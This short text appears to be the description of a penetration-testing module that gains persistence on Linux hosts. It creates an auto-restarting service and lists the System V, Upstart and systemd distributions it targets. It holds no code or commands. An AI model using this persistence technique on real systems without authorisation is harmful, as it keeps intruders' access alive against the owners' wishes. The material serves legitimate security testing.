          This module will create a service on the box, and mark it for auto-restart.
          We need enough access to write service files and potentially restart services
          Targets:
            System V:
              CentOS <= 5
              Debian <= 6
              Kali 2.0
              Ubuntu <= 9.04
            Upstart:
              CentOS 6
              Fedora >= 9, < 15
              Ubuntu >= 9.10, <= 14.10
            systemd:
              CentOS 7
              Debian >= 7, <=8
              Fedora >= 15
              Ubuntu >= 15.04
          Note: System V won't restart the service if it dies, only an init change (reboot etc) will restart it.
